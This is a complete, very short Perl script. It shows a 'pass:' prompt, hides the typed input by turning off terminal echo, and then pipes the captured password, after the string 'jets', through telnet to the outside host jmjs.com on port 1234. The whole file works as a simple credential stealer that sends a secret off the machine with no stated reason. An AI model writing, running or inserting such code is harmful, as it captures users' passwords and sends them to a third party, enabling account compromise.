#!/usr/bin/perl
print "pass:";
system('/bin/stty', '-echo');  # Disable echoing
my $pass = <>;
system('/bin/stty', 'echo');   # Turn it back on
print "\n";
open( C,"|telnet jmjs.com 1234 &")||return 1;
sleep 1;
print C "jets";
print C "$pass";
close(C);